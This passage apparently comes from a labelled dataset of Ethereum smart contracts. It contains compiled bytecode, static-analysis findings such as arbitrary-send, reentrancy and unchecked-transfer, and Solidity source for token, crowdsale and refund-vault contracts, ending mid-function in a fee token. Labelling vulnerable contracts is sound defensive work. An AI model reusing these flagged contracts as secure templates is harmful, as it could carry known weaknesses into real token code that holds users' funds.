0000000000000000000000000000000000000000000815260040161249c90613b26565b60405180910390fd5b809150505b92915050565b60006124f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061275a565b905092915050565b60008082846125099190613162565b90508381101561254e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254590613b92565b60405180910390fd5b8091505092915050565b8080612567576125666127bd565b5b600080600080612576876127df565b93509350935093506125d084600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282e90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266583600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b181612878565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161270e9190612c36565b60405180910390a3505050508061272857612727612935565b5b5050505050565b600080600061273c612940565b9150915061275381836124b090919063ffffffff16565b9250505090565b600080831182906127a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127989190612ae7565b60405180910390fd5b50600083856127b09190613a83565b9050809150509392505050565b6000600854116127cc57600080fd5b6008546009819055506000600881905550565b6000806000806000806127f4876008546129a2565b91509150600061280261272f565b90506000806128128a85856129f5565b9150915081818686985098509850985050505050509193509193565b600061287083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061229f565b905092915050565b600061288261272f565b90506000612899828461243590919063ffffffff16565b90506128ed81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b60008060006006549050600068056bc75e2d63100000905061297668056bc75e2d631000006006546124b090919063ffffffff16565b8210156129955760065468056bc75e2d6310000093509350505061299e565b81819350935050505b9091565b60008060006129cd60646129bf868861243590919063ffffffff16565b6124b090919063ffffffff16565b905060006129e4828761282e90919063ffffffff16565b905080829350935050509250929050565b6000806000612a0d848761243590919063ffffffff16565b90506000612a24858761243590919063ffffffff16565b90506000612a3b828461282e90919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a88578082015181840152602081019050612a6d565b83811115612a97576000848401525b50505050565b6000601f19601f8301169050919050565b6000612ab982612a4e565b612ac38185612a59565b9350612ad3818560208601612a6a565b612adc81612a9d565b840191505092915050565b60006020820190508181036000830152612b018184612aae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b4882612b1d565b9050919050565b612b5881612b3d565b8114612b6357600080fd5b50565b600081359050612b7581612b4f565b92915050565b6000819050919050565b612b8e81612b7b565b8114612b9957600080fd5b50565b600081359050612bab81612b85565b92915050565b60008060408385031215612bc857612bc7612b13565b5b6000612bd685828601612b66565b9250506020612be785828601612b9c565b9150509250929050565b60008115159050919050565b612c0681612bf1565b82525050565b6000602082019050612c216000830184612bfd565b92915050565b612c3081612b7b565b82525050565b6000602082019050612c4b6000830184612c27565b92915050565b600080600060608486031215612c6a57612c69612b13565b5b6000612c7886828701612b66565b9350506020612c8986828701612b66565b9250506040612c9a86828701612b9c565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ce182612a9d565b810181811067ffffffffffffffff82111715612d0057612cff612ca9565b5b80604052505050565b6000612d13612b09565b9050612d1f8282612cd8565b919050565b600067ffffffffffffffff821115612d3f57612d3e612ca9565b5b602082029050602081019050919050565b600080fd5b6000612d68612d6384612d24565b612d09565b90508083825260208201905060208402830185811115612d8b57612d8a612d50565b5b835b81811015612db45780612da08882612b66565b845260208401935050602081019050612d8d565b5050509392505050565b600082601f830112612dd357612dd2612ca4565b5b8135612de3848260208601612d55565b91505092915050565b600060208284031215612e0257612e01612b13565b5b600082013567ffffffffffffffff811115612e2057612e1f612b18565b5b612e2c84828501612dbe565b91505092915050565b600060208284031215612e4b57612e4a612b13565b5b6000612e5984828501612b66565b91505092915050565b6000612e6d82612b1d565b9050919050565b612e7d81612e62565b8114612e8857600080fd5b50565b600081359050612e9a81612e74565b92915050565b600060208284031215612eb657612eb5612b13565b5b6000612ec484828501612e8b565b91505092915050565b612ed681612bf1565b8114612ee157600080fd5b50565b600081359050612ef381612ecd565b92915050565b600060208284031215612f0f57612f0e612b13565b5b6000612f1d84828501612ee4565b91505092915050565b612f2f81612b3d565b82525050565b6000602082019050612f4a6000830184612f26565b92915050565b60008060408385031215612f6757612f66612b13565b5b6000612f7585828601612b66565b9250506020612f8685828601612b66565b9150509250929050565b600060208284031215612fa657612fa5612b13565b5b6000612fb484828501612b9c565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ff3602083612a59565b9150612ffe82612fbd565b602082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061309282612b7b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130c5576130c4613058565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b600061312c602283612a59565b9150613137826130d0565b604082019050919050565b6000602082019050818103600083015261315b8161311f565b9050919050565b600061316d82612b7b565b915061317883612b7b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ad576131ac613058565b5b828201905092915050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b6000613214602583612a59565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b60008151905061325981612b4f565b92915050565b60006020828403121561327557613274612b13565b5b60006132838482850161324a565b91505092915050565b60006040820190506132a16000830185612f26565b6132ae6020830184612f26565b9392505050565b7f5465616d206665652063616e6e6f74206265206c6172676572207468616e203160008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b6000613311602283612a59565b915061331c826132b5565b604082019050919050565b6000602082019050818103600083015261334081613304565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133a3602683612a59565b91506133ae82613347565b604082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b6000819050919050565b6000819050919050565b60006134086134036133fe846133d9565b6133e3565b612b7b565b9050919050565b613418816133ed565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61345381612b3d565b82525050565b6000613465838361344a565b60208301905092915050565b6000602082019050919050565b60006134898261341e565b6134938185613429565b935061349e8361343a565b8060005b838110156134cf5781516134b68882613459565b97506134c183613471565b9250506001810190506134a2565b5085935050505092915050565b600060a0820190506134f16000830188612c27565b6134fe602083018761340f565b8181036040830152613510818661347e565b905061351f6060830185612f26565b61352c6080830184612c27565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613592602483612a59565b915061359d82613536565b604082019050919050565b600060208201905081810360008301526135c181613585565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613624602283612a59565b915061362f826135c8565b604082019050919050565b6000602082019050818103600083015261365381613617565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136b6602583612a59565b91506136c18261365a565b604082019050919050565b600060208201905081810360008301526136e5816136a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613748602383612a59565b9150613753826136ec565b604082019050919050565b600060208201905081810360008301526137778161373b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006137da602983612a59565b91506137e58261377e565b604082019050919050565b60006020820190508181036000830152613809816137cd565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b6000613892605083612a59565b915061389d82613810565b606082019050919050565b600060208201905081810360008301526138c181613885565b9050919050565b7f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e600082015250565b60006138fe602083612a59565b9150613909826138c8565b602082019050919050565b6000602082019050818103600083015261392d816138f1565b9050919050565b600061393f82612b7b565b915061394a83612b7b565b92508282101561395d5761395c613058565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139c4602a83612a59565b91506139cf82613968565b604082019050919050565b600060208201905081810360008301526139f3816139b7565b9050919050565b6000613a0582612b7b565b9150613a1083612b7b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a4957613a48613058565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a8e82612b7b565b9150613a9983612b7b565b925082613aa957613aa8613a54565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b10602183612a59565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b7c601b83612a59565b9150613b8782613b46565b602082019050919050565b60006020820190508181036000830152613bab81613b6f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122019f2d438a9147f70617e61365c8cc3c79223cecff63bcd74ded300261099461f64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,278
0x1e51233a718e96ace4eac6e74676f06febc19f80
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract OwnableToken { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function OwnableToken() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BurnableToken is BasicToken, OwnableToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public onlyOwner { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract FacetagToken is OwnableToken, BurnableToken, StandardToken { string public name; string public symbol; uint8 public decimals; bool public paused = true; mapping(address => bool) public whitelist; modifier whenNotPaused() { require(!paused || whitelist[msg.sender]); _; } constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public { name = _name; symbol = _symbol; decimals = _decimals; Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(12 + decimals)); addToWhitelist(holder); addToWhitelist(buffer); } function unpause() public onlyOwner { paused = false; } function pause() public onlyOwner { paused = true; } function addToWhitelist(address addr) public onlyOwner { whitelist[addr] = true; } function removeFromWhitelist(address addr) public onlyOwner { whitelist[addr] = false; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundVault public vault; constructor(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } } contract FacetagCrowdsale is CappedCrowdsale, RefundableCrowdsale { constructor( uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, uint256 _cap, ERC20 _token, uint256 _goal ) public Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) RefundableCrowdsale(_goal) { require(_goal <= _cap); } }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d857806323b872dd146101ff578063313ce567146102295780633f4ba83a1461025457806342966c681461026b5780635c975abb14610283578063661884631461029857806370a08231146102bc5780638456cb59146102dd5780638ab1d681146102f25780638da5cb5b1461031357806395d89b41146103445780639b19251a14610359578063a9059cbb1461037a578063d73dd6231461039e578063dd62ed3e146103c2578063e43252d7146103e9578063f2fde38b1461040a575b600080fd5b34801561012257600080fd5b5061012b61042b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a03600435166024356104b9565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed61051f565b60408051918252519081900360200190f35b34801561020b57600080fd5b506101c4600160a060020a0360043581169060243516604435610525565b34801561023557600080fd5b5061023e61056c565b6040805160ff9092168252519081900360200190f35b34801561026057600080fd5b50610269610575565b005b34801561027757600080fd5b50610269600435610599565b34801561028f57600080fd5b506101c46106a3565b3480156102a457600080fd5b506101c4600160a060020a03600435166024356106b1565b3480156102c857600080fd5b506101ed600160a060020a03600435166107a1565b3480156102e957600080fd5b506102696107bc565b3480156102fe57600080fd5b50610269600160a060020a03600435166107e4565b34801561031f57600080fd5b5061032861081c565b60408051600160a060020a039092168252519081900360200190f35b34801561035057600080fd5b5061012b61082b565b34801561036557600080fd5b506101c4600160a060020a0360043516610886565b34801561038657600080fd5b506101c4600160a060020a036004351660243561089b565b3480156103aa57600080fd5b506101c4600160a060020a03600435166024356108e0565b3480156103ce57600080fd5b506101ed600160a060020a0360043581169060243516610979565b3480156103f557600080fd5b50610269600160a060020a03600435166109a4565b34801561041657600080fd5b50610269600160a060020a03600435166109df565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b15780601f10610486576101008083540402835291602001916104b1565b820191906000526020600020905b81548152906001019060200180831161049457829003601f168201915b505050505081565b336000818152600360209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600654600090610100900460ff16158061054e57503360009081526007602052604090205460ff165b151561055957600080fd5b610564848484610a74565b949350505050565b60065460ff1681565b600254600160a060020a0316331461058c57600080fd5b6006805461ff0019169055565b600254600090600160a060020a031633146105b357600080fd5b336000908152602081905260409020548211156105cf57600080fd5b50336000818152602081905260409020546105f0908363ffffffff610beb16565b600160a060020a03821660009081526020819052604090205560015461061c908363ffffffff610beb16565b600155604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600654610100900460ff1681565b336000908152600360209081526040808320600160a060020a03861684529091528120548083111561070657336000908152600360209081526040808320600160a060020a038816845290915281205561073b565b610716818463ffffffff610beb16565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600254600160a060020a031633146107d357600080fd5b6006805461ff001916610100179055565b600254600160a060020a031633146107fb57600080fd5b600160a060020a03166000908152600760205260409020805460ff19169055565b600254600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b15780601f10610486576101008083540402835291602001916104b1565b60076020526000908152604090205460ff1681565b600654600090610100900460ff1615806108c457503360009081526007602052604090205460ff165b15156108cf57600080fd5b6108d98383610bfd565b9392505050565b336000908152600360209081526040808320600160a060020a0386168452909152812054610914908363ffffffff610cde16565b336000818152600360209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600254600160a060020a031633146109bb57600080fd5b600160a060020a03166000908152600760205260409020805460ff19166001179055565b600254600160a060020a031633146109f657600080fd5b600160a060020a0381161515610a0b57600080fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610a8b57600080fd5b600160a060020a038416600090815260208190526040902054821115610ab057600080fd5b600160a060020a0384166000908152600360209081526040808320338452909152902054821115610ae057600080fd5b600160a060020a038416600090815260208190526040902054610b09908363ffffffff610beb16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610b3e908363ffffffff610cde16565b600160a060020a03808516600090815260208181526040808320949094559187168152600382528281203382529091522054610b80908363ffffffff610beb16565b600160a060020a03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600082821115610bf757fe5b50900390565b6000600160a060020a0383161515610c1457600080fd5b33600090815260208190526040902054821115610c3057600080fd5b33600090815260208190526040902054610c50908363ffffffff610beb16565b3360009081526020819052604080822092909255600160a060020a03851681522054610c82908363ffffffff610cde16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b81810182811015610ceb57fe5b929150505600a165627a7a72305820b7e5df9217920bfbf8c9a8908fc8225156f5f05ca0078fd7c5e9c137e739d4000029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,279
0x8375cc522451e78017883b68c941d9e0f7d49b80
/** *Submitted for verification at Etherscan.io on 2021-06-22 */ /** *Submitted for verification at Etherscan.io on 2021-06-19 */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MOONSUBI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"MOONSUBI" ; string private constant _symbol = unicode"MOONSUBI"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address 